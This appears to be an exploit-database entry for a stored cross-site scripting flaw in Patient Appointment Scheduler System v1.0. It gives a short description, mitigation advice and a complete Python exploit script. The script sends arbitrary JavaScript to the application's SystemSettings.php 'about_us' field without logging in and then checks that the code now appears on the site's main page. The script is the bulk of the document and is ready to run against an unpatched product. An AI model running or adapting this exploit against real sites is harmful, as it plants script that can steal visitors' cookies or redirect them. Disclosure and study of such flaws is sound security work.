header-logo
Suggest Exploit
vendor:
Patient Appointment Scheduler System
by:
a-rey
8,8
CVSS
HIGH
Persistent/Stored XSS
79
CWE
Product Name: Patient Appointment Scheduler System
Affected Version From: v1.0
Affected Version To: v1.0
Patch Exists: NO
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Ubuntu 20.04.3 LTS (Focal Fossa) with XAMPP 8.0.10-0
2021

Patient Appointment Scheduler System 1.0 – Persistent/Stored XSS

Patient Appointment Scheduler System v1.0 is vulnerable to a persistent/stored XSS vulnerability. An attacker can inject malicious JavaScript code into the 'about_us' field of the SystemSettings.php page, which is then stored in the database and executed when the main page is loaded. This can be used to steal user cookies, redirect users to malicious websites, or perform other malicious activities.

Mitigation:

Input validation should be used to prevent malicious code from being stored in the database. Additionally, the application should be configured to use a Content Security Policy (CSP) to prevent the execution of malicious code.
Source

Exploit-DB raw data:

# Exploit Title: Patient Appointment Scheduler System 1.0 - Persistent/Stored XSS
# Date: 03/09/2021
# Exploit Author: a-rey 
# Vendor Homepage: https://www.sourcecodester.com/php/14928/patient-appointment-scheduler-system-using-php-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14928
# Version: v1.0
# Tested on: Ubuntu 20.04.3 LTS (Focal Fossa) with XAMPP 8.0.10-0
# Exploit Write-Up: https://github.com/a-rey/exploits/blob/main/writeups/Patient_Appointment_Scheduler_System/v1.0/writeup.md

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import os
import logging
import requests
import argparse

BANNER = """
╔═══════════════════════════════════════════════════════════════════╗
║ Patient Appointment Scheduler System v1.0 - Persistent/Stored XSS ║
╚═══════════════════════════════════════════════════════════════════╝
 by: \033[0m\033[1;31m █████╗      ██████╗ ███████╗██╗   ██╗\033[0m
     \033[0m\033[1;32m██╔══██╗     ██╔══██╗██╔════╝██║   ██║\033[0m
     \033[0m\033[1;33m███████║ ███ ██████╔╝█████╗   ██╗ ██═╝\033[0m
     \033[0m\033[1;34m██╔══██║     ██╔══██╗██╔══╝     ██╔╝  \033[0m
     \033[0m\033[1;35m██║  ██║     ██║  ██║███████╗   ██║   \033[0m
     \033[0m\033[1;36m╚═╝  ╚═╝     ╚═╝  ╚═╝╚══════╝   ╚═╝   \033[0m
"""


def exploit(url:str, file:str) -> None:
  if not os.path.exists(file):
    logging.error(f'{file} does not exist?')
    return
  logging.info(f'reading {file} for XSS content ...')
  with open(file, 'r') as f:
    xssPayload = f.read()
  logging.info(f'sending XSS payload ({len(xssPayload)} bytes) to {url}/classes/SystemSettings.php ...')
  r = requests.post(url + '/classes/SystemSettings.php', 
    data={'about_us' : xssPayload}, 
    params={'f' : 'update_settings'},
    verify=False
  )
  if not r.ok:
    logging.error('HTTP request failed')
    return
  logging.info('checking for XSS payload on main page ...')
  r = requests.get(url)
  if xssPayload not in r.text:
    logging.error(f'XSS injection failed? received: {r.text}')
    logging.warning('maybe about.html is not writable?')
    return
  logging.success('XSS payload found on target website')
  return
  
  
if __name__ == '__main__':
  # parse arguments
  parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter, usage=BANNER)
  parser.add_argument('-u', '--url',  help='website URL',                     type=str, required=True)
  parser.add_argument('-f', '--file', help='file with DOM content to inject', type=str, required=True)
  parser.add_argument('--debug',      help='enable debugging output',         action='store_true', default=False)
  args = parser.parse_args()
  # define logger
  logging.basicConfig(format='[%(asctime)s][%(levelname)s] %(message)s', datefmt='%d %b %Y %H:%M:%S', level='INFO' if not args.debug else 'DEBUG')
  logging.SUCCESS = logging.CRITICAL + 1
  logging.addLevelName(logging.SUCCESS, '\033[0m\033[1;32mGOOD\033[0m')
  logging.addLevelName(logging.ERROR,   '\033[0m\033[1;31mFAIL\033[0m')
  logging.addLevelName(logging.WARNING, '\033[0m\033[1;33mWARN\033[0m')
  logging.addLevelName(logging.INFO,    '\033[0m\033[1;36mINFO\033[0m')
  logging.success = lambda msg, *args: logging.getLogger(__name__)._log(logging.SUCCESS, msg, args)
  # print banner
  print(BANNER)
  # run exploit
  exploit(args.url, args.file)